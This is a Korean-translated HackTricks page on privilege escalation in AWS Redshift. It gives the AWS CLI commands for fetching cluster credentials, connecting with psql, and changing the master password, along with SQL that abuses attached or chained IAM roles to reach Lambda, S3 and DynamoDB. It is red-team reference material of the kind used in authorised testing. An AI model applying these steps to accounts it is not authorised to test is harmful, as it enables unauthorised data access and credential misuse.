AWS - Redshift Privesc

Reading time: 4 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Redshift

RDS에 대한 자세한 정보는 다음을 확인하세요:

AWS - Redshift Enum

redshift:DescribeClusters, redshift:GetClusterCredentials

이 권한들로 모든 클러스터의 정보(이름 및 클러스터 사용자 이름 포함)를 얻고, 클러스터에 접근할 수 있는 자격 증명을 얻을 수 있습니다:

bash
# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439

Potential Impact: 데이터베이스 내부에서 민감한 정보를 찾을 수 있습니다.

redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM

이 권한들로 모든 클러스터의 정보를 얻고 접속할 수 있는 자격증명을 얻을 수 있습니다.
참고: postgres 사용자는 자격증명을 얻는 데 사용된 IAM identity가 가진 권한을 갖습니다.

bash
# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439

잠재적 영향: 데이터베이스 내부에서 민감한 정보를 찾을 수 있습니다.

redshift:DescribeClusters, redshift:ModifyCluster?

aws cli에서 내부 postgres (redshit) 사용자에 대한 마스터 비밀번호를 변경할 수 있습니다 (이 권한들이 필요해 보이지만 아직 테스트해보지 않았습니다):

aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;

잠재적 영향: 데이터베이스 내부에서 민감한 정보를 찾을 수 있습니다.

외부 서비스 접근

warning

다음의 모든 리소스에 접근하려면 사용할 역할을 지정해야 합니다. Redshift 클러스터는 사용할 수 있는 AWS 역할 목록을 할당할 수 있으며 ARN을 알고 있다면 이를 사용할 수 있습니다. 또는 할당된 기본 역할을 사용하려면 "default"로 설정하면 됩니다.

Moreover, as explained here, Redshift also allows to concat roles (as long as the first one can assume the second one) to get further access but just 구분하여 쉼표로 연결하면 됩니다: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';

Lambdas

As explained in https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, redshift에서 lambda 함수를 호출할 수 있습니다 다음과 같이:

sql
CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;

S3

앞서 https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html에 설명된 것처럼, S3 버킷을 읽고 쓸 수 있습니다:

sql
# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;

Dynamo

https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html에 설명된 바와 같이, dynamodb에서 데이터를 가져올 수 있습니다:

sql
copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';

warning

데이터 제공용 Amazon DynamoDB 테이블은 REGION 옵션을 사용하여 Amazon DynamoDB 테이블이 위치한 AWS Region을 지정하지 않는 한, 클러스터와 동일한 AWS Region에 생성되어야 합니다.

EMR

참조 https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html

참고자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기